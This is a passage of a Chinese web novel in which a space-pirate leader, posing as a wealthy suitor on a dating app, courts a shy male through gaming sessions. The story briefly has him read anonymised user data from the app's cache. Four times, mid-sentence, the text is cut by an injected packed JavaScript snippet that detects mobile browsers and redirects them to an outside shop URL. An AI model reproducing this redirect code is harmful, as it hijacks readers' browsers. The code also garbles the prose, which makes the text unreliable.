想发违禁图片钓鱼,告他骚扰雄虫? 或者是收到999星币后想私吞,通过这种方式封禁他的账号,他就不可能把钱再要回来。 好深的心机!是高手! 他下意思的编辑了婉拒的信息,绝对不能同意。 但对面还是发来了照片。 他已经做好了账号秒没的准备。 然后看到了一张扭着屁股去吃零食的小白猫,尾巴翘得高高的。 莱卡约:“……” 出生这么多年,他头一次被雄虫耍。 他露出一抹微笑,眼角的那颗小痣格外明显: “很好,真有意思,就他了。” 奎恩也跟着兴奋起来。 老大这笑容坏坏的,难道说…… 他脑补出莱卡约通过伪装的身份进入中央星,大摇大摆掳走雄虫的画面,全身都战栗起来。 这几十年里,许多大星盗团体都被中央星的几次清剿行动彻底打垮,很久没有抬起过头了。 他们甚至都忘记,在过去,雄虫是地下交易的硬通货,每个大星盗团都至少圈养着两位数的雄虫奴隶。 怪不得要选C级。 C级等级低,中央星的保护力度并不高。 想要怀雄虫幼崽,也是为了诱骗雄虫一起离开中央星。 只要老大能从中央星带回一只雄虫,血蝎子号都会宇宙间扬名立万。 奎恩热血沸腾: “老大,我懂了,我将誓死追随您!” ** 哈德森决定不再研究那张小小的证件照片,他要审查一下布伦丹的成分。 布伦丹,25岁,19岁那年进入中央星银河集团公司工作,目前是公司的中层管理,年薪六百万,名下总资产八位数。 里面详细列出了他负责的项目,包括组建一支完整的团队,从其他公司挖掘了核心成员,搭建稳定的交易平台,开辟了新的销售渠道等等。目前主攻的业务是中央星系外交易,想要开拓新的市场。 哈德森没看明白,就去查了下这个银河集团。 银河集团大约在七十年前成立,是中央星领先的科技公司,业务众多,他平时网购、玩游戏的平台,背后都是银河集团。 至于银河集团的发家史,背后的利益团体,带领的社会风向转变,未来的扩张方向等等,他的眼睛阅读了,但没有在大脑里留下太多痕迹。 总之,听起来很厉害。 哈德森回到资料界面快速下滑,看到下面的兴趣爱好。 【烹饪,做家务,健身,偶尔玩游戏。】 健身?健身不太行呢。 雌虫本来就比较高大,要是再练出结实的大块头,压迫感太强,非常没有安全感。 但再往下,他看到布伦丹的身高和体重都达标,理论上不会特别强壮。 合格吧。 而且这些兴趣都比较居家,他很满意。 【对另一半没有要求,投缘就行。希望能培养感情后再结婚。】 成分不错。 哈德森再切回聊天界面,布伦丹已经回复他了。 【布伦丹:抱歉,是我误会了,有些紧张,刚才那句话没有命令你的意思。】 【布伦丹:很可爱的小猫,是你养的吗?】 脾气确实很随和。 但哈德森看到上面那个发送时间,已经是十五分钟前,有些不知所措。 怎么办? 他要解释一下刚才干什么了吗? ——我刚才盯着你的照片看了十多分钟,你的眼尾痣很特别,发个高清□□无美颜照片让我研究研究。 太离谱了吧! 不解释也不礼貌。 犹豫间,时间又过去了几分钟,哈德森快速把软件关掉,假装看不见消息。 他还有正事呢,得找工作。 ** 现在提供给雄虫的工作种类并不多,主要都是围绕着给雌虫提供精神安抚为主。 并不是雄虫干不了其他的工作,只是因为精神安抚这个工作门槛低,薪资待遇高,市场缺口又非常大,是一份五边形的完美工作。 所以绝大多数雄虫只要想找工作,第一优先级都是医院的安抚科室。 但是,这份工作有一个问题。 必须得出门上班。 以前雄虫可以开设诊所,招揽生意。后来因为雄虫诊所不够规范,一些私下的交易难以控制,就不再批准雄虫独自经营。 肯定有雄虫接私活,据说不仅会提供精神安抚,还会做别的事情,只是哈德森做不来。 他希望工作能居家办公,不需要和其他人面对面接触,工资最好是日结。 挑挑拣拣,他在论坛里找到一个招聘帖子。 【远风:急急急,线上招一个雄虫兼职助手,试用期三天,一单保底200星币。】 哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013307|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德森点开帖子。 楼主是个情感分析师,主要帮助雌虫解决与雄虫恋爱的问题。但因为他是雌虫,有些细腻的感情天然就理解不了,所以在分析问题的时候需要一个雄虫助手帮他提供新的思路。 楼主原本有一个雄虫搭档,这段时间回家结婚,要休假半年。 他以为自己已经足够熟悉雄虫,可以应付自如,但没想到好几个咨询都失败了,急忙求助。 200星币的日薪,对于雄虫来说太过廉价,他的帖子始终没有雄虫回复。 哈德森试探性的回: 【林中云雀:我可以试试吗?】 楼主立刻私聊。 【远风:可以,我手里正好有一个新的咨询,你尝试一下。代入你自己的情绪就行,我主要是想要不同的视角。】 【远风:线上刚认识的雄虫,对我开了句玩笑后突然不回复了,是什么原因?】 哈德森想了想,以他的情况,如果突然不回复,八成是因为他做别的事情分心,回头再看聊天记录有点儿尴尬,不愿意回复。 但其他雄虫肯定和他不一样。 他斟酌着用词,尽量让自己能胜任这份兼职工作。 【林中云雀:从我的角度看,可能是雄虫有些害羞。开玩笑是亲密的朋友才会做的事情,刚认识就主动开玩笑,在他眼里或许是超过界限的行为,所以他不回复了。】 【远风:好的,您有着很细腻的感情呢。在我们雌虫的视角里,总会怀疑自己,是不是表现的太过唐突,冒犯了雄虫大人,没想过会有这种可能性。感谢您的回答,希望能和您合作愉快。】 得到肯定后,哈德森有一点小小的喜悦。 ** 确定好攻略对象后,莱卡约原地解散了他的小队。 不是因为他有什么追求雄虫的妙招不舍得分享,而是因为他实在摸不准对面的性格。 很矛盾。 主动发送信息,却没有任何实质性内容,似乎穷困潦倒,又对有钱的雌虫兴致缺缺,聊几句就人间消失。 如果不是被戏耍了一番,他不会选择这个雄虫。 许久没有收到消息,莱卡约不免对自己产生了怀疑。 不会吧? 对面现在不应该主动勾搭他这个综合等级高、又有钱大方的雌虫吗? 他虽然对雄虫没有兴趣,但接触过的雄虫真不少,哪怕是A级雄虫,他填写的基础信息也有一定的吸引力,更别提普通的C级雄虫。 一定是哪个环节出问题了。 莱卡约找到好友佩希,一个据说与两位数雄虫交往过、对雄虫了如指掌的情场高手。 【赤隐圣徒:我有个朋友想要问问……】 他把自己的情况简单描述了一下,所有信息都模糊化处理,没说是在相亲平台上聊的。 至于回答,他只打算做一个参考。 他严重怀疑佩希的真实水平。 两位数的雄虫? 绝对有水分。 佩希隔了许久才回复道: 【远风:如果是雄虫主动开玩笑,说明他有聊天意愿,不一定是你的朋友有问题,或许是对方有些不好意思。既然你们认识的时间很短,等第二天的时候再试试。】 莱卡约眯起眼睛。 不好意思? 对啊,雄虫一上来就开这种带着擦边性质的玩笑,意识到自己做了什么之后,害羞了? 似乎有点儿道理。 那就等第二天验证一下吧。 5. 生气了吗 5、 哈德森盘了下,今日获得6199星币,减去上头给游戏氪金1296星币,减去桃花缘平台账面上暂时提不出来的5999星币巨款,居然还扣了1096星币。 而他这一天,还没有吃饭。 雄虫虽说挣得多,开销也很吓人。一顿提供给雄虫的饭菜,平均下来要花500星币。 不是说店家专门宰雄虫,而是大多数雄虫的消化能力差,舌头也比较刁,对食材还有烹饪的要求非常严格,所以价格就高。 他的经济危机依旧十分严重。 “唉,还是得研究一下怎么提现。” 哈德森点开桃花缘,想要看看自己的提现金额达到要求没有。 但到了个人账户界面,布伦丹给他转账的999星币居然和任务完成的星币在不同的界面里显示。 转账的999星币界面没有弹出任何对话框提示。 他尝试点击提现,半分钟后,他的光脑来了条短信,提示他账户余额里的多了一笔999星币。 一整日的沮丧全部消失,他又充满了干劲,点开了桃花缘的任务界面。 【查看对方基础信息,每日任务已完成,获得奖励:100星*币*】 他居然在不知不觉中做完一项任务,很不错。 领取奖励后,下一个任务也随之出现。 【看来你对匹配对象很满意,他的资料你查看了12分钟呢~要不要试着将自己的资料也给对方公开,点击他的头像,选择对他公开资料。这意味着你们关系有突破性的进展,会有额外奖励哦~】 哈德森点开奖励。 除了基础的星*币*奖励,还多了一些稀奇古怪的道具。 这些道具根本没有任何吸引力,他才不会为了几个什么“屏蔽卡”、“美化魔棒”把自己的信息草率提供给不了解的雌虫。 想要挣星币,那也就只能做每日任务了。 虽然奖励低很多,但也能慢慢攒起来。 等到凌晨12点,每日任务都没有发布,哈德森只能带着遗憾入睡。 第二天,他早上刚起床就打开桃花缘,查看最新任务。 【登陆游戏,任务已完成,获得奖励:50星*币*】 【与匹配对象完成10分钟聊天,0/10分钟,奖励300星*币*】 300? 差不多可以接受。 但要怎么开场才正常啊? 哈德森看着布伦丹昨天发送的信息,实在不知道该怎么做才好,犹豫再三,还是和昨天一样。 【哈**:1。】 布伦丹回复的很快,并且和昨天回复了一样的内容。 哈德森真是松了一口气。 不带脑子的回复到布伦丹说出,“难道说免费版本和付费版本不一样”后,他没有再发送“转我50看看实力”,而是换了一句回复。 【哈**:你已经是尊贵的vip客户,点击即可获得付费版本内容。】 他缺钱是缺钱,却还是有一丢丢的矜持在身上。 布伦丹的转账也同时发了过来。 【布伦丹已向您转账999星币。】 他把所有矜持抛之脑后,秒速接收。 这可不是他开口要的啊。 好样的,布伦丹,多么动听的名字。 ** 收到信息的时候,莱卡约正在尝试破解桃花缘平台的代码。 虽然平台会对雄虫信息进行匿名处理,保护雄虫的隐私,但相亲平台最主要的侧重点还是如何实现高效匹配,而且还要快速筛选,所以这种匿名处理手段都很简单,基本都是在前端界面加密,可以从缓存文件里找一下明文数据。 他很快找到了对应数据包。 加载一番后,和他聊天的雄虫信息就出来了。 哈德森,C级雄虫,24岁,住址在第十二区。 除了必要的筛选条件以外,没有在平台上留下其他任何信息,甚至连证件照都没有。 真的很矛盾。 他摸不透哈德森的行为逻辑。 一个会花功夫在匹配喜好里写一大段小作文的雄虫,表达欲很旺盛,他花费了不少时间在这个平台上,居然不填写自己的信息。 信息不全很难精准筛选出合适的雌虫,难道说他根本没打算在这个平台上找伴侣? 没等他想出结果,就有了消息提示。 【哈**:1。】 哈德森主动联系了他,还是相同的开头。 莱卡约否定了自己刚才的念头,换成了好友的回答。 因为这是一个不善言辞、拘谨羞涩的雄虫,同时又对雌虫伴侣有着不切实际的幻想,所以才会有这些矛盾的举动。 莱卡约勾起嘴角: “他这是在尝试通过相同的对话纠正昨晚的‘错误’举动?” 按照相同的回复发送后,果不其然,到了后面,哈德森的回复有了变化。 他想要改变昨晚的对话走向。 依旧“人机”感满满。 简直就像一个小孩子在说错话之后,认真的表示,不对,自己要重来一遍。 再想到对面年龄比他小,莱卡约觉得可能性极大。 雄虫和雌虫的发育期有显著区别。 绝大多数雌虫从蛋里孵化出来没多久就会飞行,语言是出生自带的技能,到了八岁左右身体发育完毕,不管是外观还是心智都很接近成年状态。 而雄虫的发育期非常漫长,一般一岁左右才学会走路,语言需要系统性的学习,认知也是缓慢构建。 再加上社会对雄虫的包容性极强,他们看样子只差一岁,实际上差距很大。 他依旧转过去999星币,试探对面的反应。 对面迅速接收,随后发送信息。 【哈**:你需要我提供什么服务吗?】 莱卡约现在非常确定,攻略对面这个雄虫的难度极低。 在这个“雄虫做什么都全肯定”的社会里,配得感低的雄虫一定非常缺爱,再加上缺钱,浑身破绽。 可怜啊,要遇到坏人了。 ** 哈德森虽然因为贫穷光速接收,脑子里却始终绷着一根弦。 天下没有白来的午餐,所有的馈赠本质都是期待着他的回馈,注定会在未来变成某种沉重的负担。 就像他第一次出去工作时那样。 【布伦丹:要不你陪我多聊会儿,怎么样?】 哈德森看着右上角的倒计时,陷入了纠结之中。 他不擅长和别人聊天。 聊天需要考虑怎么回话更合适,需要选一个恰当的话题,及时给出反馈,而且上次他都已经突然消失了,这次再犯这种错误,就真的非常不礼貌了。 他还没纠结出结果,又收到一条信息。 【布伦丹:或者你提个建议也可以。】 哈德森紧绷的神经放松了下来。 【哈**:我可以陪你玩一个小时游戏。】 作为宅雄,市面上九成以上的游戏他都玩过,不管是面向雄虫还是雌虫,他都有所涉猎。 【布伦丹:太巧了,我也喜欢玩游戏。我们玩什么?】 他想了想,决定先试试一款目前很流行的射击类游戏,大逃杀。 一般雌虫都比较喜欢。 十分钟后,游戏匹配大厅里,哈德森邀请布伦丹加入队伍,看到一个朴实无华的初始人物,再点开一看,游戏时长3分钟,大概心里有数了。 布伦丹是新手,只是为了配合他。 他点击对话框,从按键控制到游戏里面的注意事项 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013308|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,事无巨细的教对面怎么玩。 【哈特梆硬:这个很简单,开局我们要乘坐飞行器,在地图上选择一处地点跳伞降落,搜索物资,然后和别人打架。】 他刚玩游戏时被别人嘲笑菜狗,刻苦钻研了很久才懂得一些游戏的潜规则,所以对于新手常见的问题都很了解。 【哈特梆硬:你准备好了我们就开一把,先玩一局就差不多懂了。】 【123123:好的。】 进入游戏,哈德森没有刻意选择降落地点,只是打字先和布伦丹说了声,跳,随后跟在布伦丹的降落伞后面。 他刚玩游戏的时候,根本不会操作降落伞,落在了空旷的大平原上,被匹配的路人队友嘲讽,非常茫然。 布伦丹是新手,肯定也有这样的问题。 好在他们的运气不错,降落地点有两栋小房子,物资足够装备一个人。 搜完后,他看到布伦丹对着墙壁原地踏步,显然没有搞清楚状况。 但游戏开局之后就没有打字界面了。 哈德森只能打开组队语音,小声说: “你转身,我给你把枪。摁F键。” “翻墙需要摁space键。” “跟着我,我们开车去下一个地点,搜点东西。” “这里有敌人,我们绕开。” 他没有教布伦丹怎么语音,单纯指挥着从各种小房子里捡破烂,避开敌人。 这样就不用聊天了。 直到最后避无可避,他们逃生的必经路线被人卡住,哈德森没打过,被对面击倒,已经做好了游戏结束的准备,就看到布伦丹端着枪孤零零的站在那里发呆。 “摁F键可以救我。算了,别救了,下一把我再教你怎么……” 哒哒两声,布伦丹扣下扳机,他的画面彻底变黑。 换成路人队友,哈德森百分百会红温生气。 但面对新手加金主加陪他玩游戏的好人,他只是说: “这样也行,你捡我的东西,我观战,教你怎么打。” 布伦丹捡起他的装备。 “回满血再走。” 布伦丹冲出掩体。 “走S型!” 布伦丹受到攻击。 “山上石头后面!” 布伦丹没有打开瞄准镜,朝着对面射击。 【123123击杀了zxkhhc。】 ? 哈德森有点儿疑惑。 “往山顶走,小心右边树后,他们在瞄你。” 随后很快。 【123123击倒了白色小熊。】 【123123击杀了Vac012。】 ?? “你根本就会玩这个游戏吧!” 哈德森忍不住质问道。 耳机里很快响起了富有磁性的嗓音,语调很轻,夹杂着一些慵懒随意的味道,像清酒一样柔和又不失醇厚。 “抱歉,我只是觉得,我应该听你的指挥,哈特长官。” 哈德森玩游戏比较自闭,从来不和队友交流,有时还会主动屏蔽队友语音,不想听到聒噪的声音。 这是第一次,有人在他玩游戏的时候和他交流。 顿时,一阵电流从耳朵窜到了头顶。 “……” 他又自闭了。 布伦丹带着笑意说: “接下来该往哪里走?长官。” “真的很抱歉,我不是故意瞒着你,我只在几年前玩过,很多玩法都忘了。” “一开始我连键位都想不起来,全靠你提醒。” “你生我的气了吗?” 哈德森看他在安全区外站着不动,血量一直在下降,又没忍住,说: “你先进安全区!” “遵命,长官。” 6. 计划之内 6、 哈德森很快看出来了,布伦丹是真的很长时间没玩,他对地图还有道具都不熟悉,走路横冲直撞,根本不看位置,只能硬着头皮指挥。 “左边有斜坡,趴下可以躲一会儿。” “下波提前抢塔楼这个位置,抢不到就去这个小房子。” 哈德森玩游戏属于理论大师,他有很多想法,也愿意花时间研究,但就是反应慢一些,枪法差一些,所以没办法执行下去。 有时他匹配的路人队友喷他是菜狗,他不想争辩,只能自己生闷气。 而布伦丹完美弥补了他的缺点。 最妙的是,布伦丹绝对不顶嘴,只是沉默的执行着。 哈德森越说越起劲,直到游戏胜利的界面弹出,听到耳机里传来布伦丹的笑声: “赢了耶,你好厉害。” “……” 哈德森小声嘟囔了一句: “你也厉害。” 但没有打开麦克风。 然后把鼠标移到了【开始匹配】那个按钮,点了下去。 大逃杀如果玩到最后,一局基本需要半个小时的时间,一个小时的时间转瞬即逝。 哈德森根本没意识到,一味的匹配,一味的上分。 哪怕游戏里他死了,周围没有敌人,很无聊的垃圾时间里,他也会指挥布伦丹训练身法。 布伦丹不语,只是在游戏里持续高强度军训。 一直到哈德森的屏幕上方出现一行小字: 【您今日累计游戏时长达到了3个小时,这局游戏结束后将会强制退出,请做好准备。】 雄虫账号的防沉迷系统,为了保护雄虫的身体健康,达到一定时长自动启动。 而且绑定身份ID,关不了。 哈德森这才发现,他居然和一个刚认识两天的雌虫一起玩了3个小时。 他不想结束,但想法并没有很强烈,只是鼠标移动到【解散队伍】的时候,稍微有些犹豫。 正在挣扎间,耳机里传来布伦丹的声音: “怎么样,玩得开心吗?我的表现还不错吧。” 声线比之前低一些,略显沙哑,能隐约听出一点鼻腔的共鸣,还有精心设计的气声,就像用羽毛轻轻刮过鼓膜,撩动心弦。 多声道的电竞全包裹耳机将声音里的每一处细节都传递了过来。 哈德森吓了一大跳,满头卷发就像发酵面包一样“刷的”蓬了起来。 他光速点击解散,摘掉耳机揉耳朵。 “漏电了?不应该啊,这是最新款的,刚买两个月。” 研究了几分钟,哈德森没看出什么问题,只能作罢。 他点开【桃花缘】,看到上面还有4分钟的倒计时没结束,就准备发送消息。 结果布伦丹先发过来了。 【布伦丹:你觉得怎么样?】 【哈**:很棒。】 【布伦丹:你的声音比我想象中温柔细腻,很好听。】 【哈**:六把全进了决赛圈,上了两个段位。】 他们两个的信息是同时发送的,哈德森没太懂布伦丹的意思。 声音温柔? 对面沉默了半分钟,他试探性的回复。 【哈**:我的耳机链接xxx.xxxxx,声卡质量不错,很推荐。】 【布伦丹:应该是原装的声带就很优秀,才能有这样的效果。】 【哈**:哦。】 【布伦丹:明天可以继续吗?】 【哈**:1。】 正巧倒计时结束,哈德森不再继续聊天,开心领取了每日奖励。 至于他一开始下载桃花缘的目的是什么,已经被他完全忘记。 ** 在打开游戏前,莱卡约没想到哈德森性格是这样的。 他以为会和相亲平台上一样,哈德森发出组队邀请,他们不咸不淡的玩两把,时间耗过去也就结束了。 他拿出光脑查着资料,准备进去稍微熟悉一下,就带着哈德森大杀特杀。 这个游戏刚出的时候他还在中央星,玩到最高段位之后没多久,他就出去当星盗,连中央星的星域网都连不上,更别提打游戏了。 不过底子在,看两眼很快就能想起来。 但对话框里很快出现了一长串的文字。 认真、细致、丝毫没有任何不耐烦的讲解着游戏里面的内容。 好像把他当成了纯粹的新手。 性格比他预想中好太多了。 不是说雄虫的脾气都很差,而是因为雄虫在亲密关系里,一直都是被关注的对象,他们很多时候都吝啬于把注意力放在雌虫身上,不会主动关注雌虫的状态。 哈德森有这种意识,非常少见。 游戏加载进去后,他选了个偏僻的地点,然后低头在光脑里查看这款游戏最近几年的版本更新内容。 正研究着,耳机里响起一声细小的声音。 “你转身,我给你把枪。” 那道声音听起来轻飘飘的,中气不足,却有种难以形容的、羞怯窘迫的少年感。 好像夏日树荫下,藏在阴影里的雄虫,鼓起勇气朝着自己心仪的对象,第一次打了声招呼。 莱卡约当然知道自己只是脑补。 但他们正在玩的是海岛地图,他能听到远处海浪的声音,风声,还有身后的脚步声。 再加上这是雄虫主动开口,他自然会有一些额外的联想。 这种联想在他转身后,得到了某种程度上的验证。 地上放着一把配件齐全的步枪。 比哈德森自己手里拿着的那把枪要好。 误以为他是菜鸟新手,却愿意把更好的枪送给他吗? 没想到攻略进度还不错。 随后哈德森开车带着他,在绿意盎然的地图里到处转圈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013309|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,竭力避开一切敌人。 远处总是能传来阵阵枪声,而他们两个却岁月静好,欣赏沿途风景。 莱卡约认为自己从各方面都彻底拿捏了这个小雄虫。 一开始先表现出自己的弱小无知,慢慢引导小雄虫多和他对话,让小雄虫有展示实力的机会。 然后让小雄虫观战,再不经意间暴露出自己的真实水平。 而这一切都是他计划好的。 哈德森果然有了明显的变化。 在问出“你生我的气了吗”的时候,他已经有了充分的准备。 如果哈德森生气他隐瞒实力,他就表示自己担心夸大实力,结果没表现好,很丢人。 如果质问他为什么杀了自己,就说当时太着急了。 但哈德森什么都没问,只是让他进安全区。 他担心自己会死。 胜利时,他恰到好处地说: “赢了耶,你好厉害。” 整场游戏,他说话的次数屈指可数,就是为了让他说的每一句话都给小雄虫留下深刻的印象。 拿下一个雄虫就是这么简单。 然而,情况却迅速急转直下。 一把匹配。 接着是下一把匹配。 翻墙大跳,开车过程中切换位置射击,瞬狙…… 等待他的是一场场军训。 如果不是时间过了一个小时,哈德森还在组队邀请他打游戏,他都怀疑自己认识的是相亲对象吗? 不对劲啊。 玩了三个小时,他终于没忍住,开口打破僵局。 接着就被踢出队伍。 十分里,有一百分的不对劲。 他不死心,在光脑上发送主动给消息,小雄虫给他的回答是—— 很棒。 六把全进了决赛圈,上了两个段位。 耳机的声卡好。 和一个平平无奇,朴实无华的“哦”。 莱卡约真的困惑了。 他难道对感情一窍不通? 他又找到了自己的好友。 【赤隐圣徒:我之前那个朋友有个新问题。一个雄虫愿意和他一起玩游戏,游戏里还会主动辅助,但只要说几句亲密的话就顾左右而言他,是什么情况?】 ** 哈德森看到这个问题,努力思考。 这是价值200星币的工作,他一定要表现的足够专业,不能随便乱说。 雄虫什么情况下愿意和雌虫玩? 那肯定是有好感。 总不可能是为了钱吧,雄虫都不缺钱。 再联想到这个咨询对象之前问过的问题,他肯定的回答: 【林中云雀:从我的视角来说,愿意把时间放在对方身上,说明很喜欢对方,但对于亲密话语避而不谈,可能是害羞。觉得他们的关系没有发展到那个地步,又不想回绝疏远距离,所以才选择不回答。】 7. 我很开心 7、 哈德森临睡前盘了下自己的收入,发现经济状况正在好转,加加减减后,两天时间,存款增加1102星币,整个人都飘飘然了。 “太对了。” 可持续发展目标,达成。 他美美点开自己账户余额,准备数一下小钱钱,数字却比他预想中低,低很多。 “不对,哪个小贼盗我金币!” 点开余额。 【-2248星币,明细:房租】 【-150星币,明细:外卖】 【-52星币,明细:特惠饮品】 …… “对对对,原来是这样。” 随后立刻警醒。 “不对不对!这样我还是活不下去!” 外卖吃多了,他自己都忘了还有房租水电这种基础开支。 经济危机依旧严峻。 哈德森长叹了口气,实在不行,他就不吃雄虫食物,吃雌虫的拼好饭。 就算会营养不良,吃不饱,但饿也饿不死。 第二天一大早,【桃花缘】的每日任务刚刷新,哈德森就坐起身,开始做任务。 【哈**:醒了吗?】 【布伦丹:在等你给我发消息。】 【布伦丹:想我了?】 【哈**:对,很急。】 然后对面迟迟没有回复,上面一直显示着“正在输入中”。 【哈**:?】 【哈**:你上号啊。】 【布伦丹:……好。】 游戏刚开始,布伦丹开麦问: “你这么急着找我,只是想和我玩游戏吗?” 哈德森突然有些心虚。 当然不只是玩游戏,他还想挣钱呢。但这个理由实在说不出口,就小声回: “大、大概是吧。” 布伦丹的嗓音有些慵懒: “真的吗?” 他的话语中有一种笃信,似乎已经把哈德森看穿。 哈德森当场自闭。 “……” 布伦丹没等到回答,轻笑一声,开始聊别的内容。 “今天这个匹配看起来和昨天不一样?” 哈德森顿时精神了,叽里咕噜说了一堆: “对,这是赛季模式,不会根据我们两个的平均分匹配对手,而是根据最高分匹配,所以对手会厉害很多,我可是非常信任你,才会匹配赛季模式。” 布伦丹的笑意压不住了: “收到,我一定会努力表现,不辜负你的信任。哈特长官。” 开局之后,布伦丹的身法比昨天更顺畅了,一些游戏里的投掷类道具也会在进攻时配合使用。 遇到敌人,哈德森会主动冲上前吸引火力,让布伦丹在后面收割人头,顺顺利利打完了一把。 但哈德森也被击倒了五次,最后一次连救他的机会都没有。 结束时,布伦丹拿到了15个人头,哈德森基本都是助攻,就说道: “下一局换我辅助你吧,我是雌虫,怎么能让你在前面冲锋,我不忍心。” 哈德森急得团团转: “电子竞技只有输赢,不分雌雄啊!什么忍心不忍心,放什么屁呢!” 但这句话也没开麦,只是默默在对话框打字: 【哈特梆硬:但我想和你开开心心的玩,你为什么要在意这些?】 开开心心,就等于必须赢。 不赢就不开心。 【123123:好吧,是我太狭隘了,我忘记你是个独特的雄虫。真的很好。】 哈德森没太理解这句话的前后逻辑,但他知道布伦丹松口了,立刻乘胜追击,巩固成果。 【哈特梆硬:你很厉害,我自己玩的时候就不像现在这么开心。】 因为单排经常匹配到深井逆天队友,输得一塌糊涂。 【123123:你喜欢这样吗?好的,听从指挥,哈特长官。】 之后他们就算没进入决赛圈,也没有落地就死,总体上了不少分。 三个小时的游戏时间结束,哈德森还没过瘾,邀请布伦丹玩另一款5v5多人对战moba类游戏。 他的思维很简单,布伦丹是好人,布伦丹想辅助他,那换个游戏玩,让布伦丹选辅助角色就好了,皆大欢喜。 依旧是赢两把就不想放人了,依旧是高强度匹配,依旧是发现了布伦丹反应极快、表现出色,换着让他玩核心输出角色。 直到日上三竿,哈德森饿得两眼昏花,才依依不舍地说: “今天先到这里吧。” 队伍解散前,布伦丹再次问: “玩得开心吗?” 哈德森这次小声说: “非常开心。” 他又补充道: “我都觉得陪玩的不是我,而是你在帮我上分了,我该怎么办啊?” 那他还要不要收钱了? 不收钱会有严重的经济问题,可收钱的话,布伦丹就好像一个倒贴的可怜代练一样。 布伦丹笑了笑: “你现在应该立刻吃点东西,不要饿着自己。去吧。” 队伍解散后,哈德森打开【桃花缘】,看到布伦丹给他又转了一笔钱。 【布伦丹已向您转账3999星币。】 【布伦丹:请你自己吃顿好的,犒劳一下。】 哈德森算了下,他们从早上一直玩到中午,大概就是四个多小时,按照999星币/小时的单价,3999星币刚好。 但考虑到是他一直拉着布伦丹打游戏,他收下转账后,强调了一遍: 【哈**:我没有强制消费啊,你随时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013310|194163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以拒绝我。】 【布伦丹:我愿意在你身上花钱。】 【哈**:谢谢,你真好。】 【布伦丹:那你愿意给我一点点了解你的权限吗?哈特长官。】 【哈**:哦哦,我忘记了,我把资料给你放开。】 在平台上一番操作,他还顺手领了点儿奖励。 系统立刻跳出一个提示。 【恭喜你和匹配对象的关系更进一步~如果想要更加深入,你们可以聊一些共同的兴趣爱好,交换彼此的生活照,熟悉对方哦。任务:交换照片并点赞。奖励:2000星*币*。】 2000! 哈德森记得平台设置的提现最低门槛是10000,他完成这个任务就能更进一步了啊! 【哈德森:你还想了解什么?这是我的照片「图片」】 【哈德森:你可以给我点一下赞吗?】 ** 莱卡约从未想过,他会遇到一个这样主动的雄虫。 他在星系外,时差和中央星的不一样,所以刻意调整了房间里的表,和哈德森那边的时间一致。 哈德森给他发消息的时候,他也就第一时间知道,哈德森那边是早上6点多。 几乎就是刚醒来就联系他。 言语上有一点的害羞,行动上又很主动。 连着三天都先发消息。 他只需稍加试探,对面一定会跟上他的节奏。 果然,哈德森将资料公开给他。 那些资料他早都看过,但为了表示他花了时间仔细查看,他没有第一时间回复。 接着就收到哈德森发来的照片。 他先点开。 照片里看上去像是一个十三、四岁的少年,穿着修身的马甲和衬衣,黑色卷发,五官精致,巴掌大的小脸上还有些婴儿肥,眼睛就像黑葡萄一样,乌黑明亮,一片清澈。 少年不设防地看着镜头,嘴角勾起,是一个带着些许羞怯的笑。 就像一张纯洁的白纸。 莱卡约的心脏骤然跳动了一下。 他见过许多贪婪、阴狠、嗜杀的眼睛。 那一双双眼睛藏在暗处,时刻盯着他的一举一动,等他露出破绽的时刻。 他没有破绽,他要在这群凶残的星盗中混出响亮的名堂。 但这个时刻,看到下面一条。 【哈德森:你可以给我点一下赞吗?】 他的耳边好像响起了哈德森的声音,轻飘飘的,没有底气,又有种软乎乎的感觉。 好像可以…… “老大!还不吃饭吗?” 奎恩啪地推开门,问: “攻略进度怎么样?” 莱卡约脸上没有任何异常,随口说: “简单。” 心却平稳了下去。 8. 交换照片 8、 “简单是什么意思?我想学习一下!” 奎恩内心的崇拜再次充盈,不由自主朝着莱卡约的方向移动。 不愧是老大。 简单的意思就是,老大想要,老大得到,没有其他任何含义。 什么雄虫,什么中央星,都无所谓。 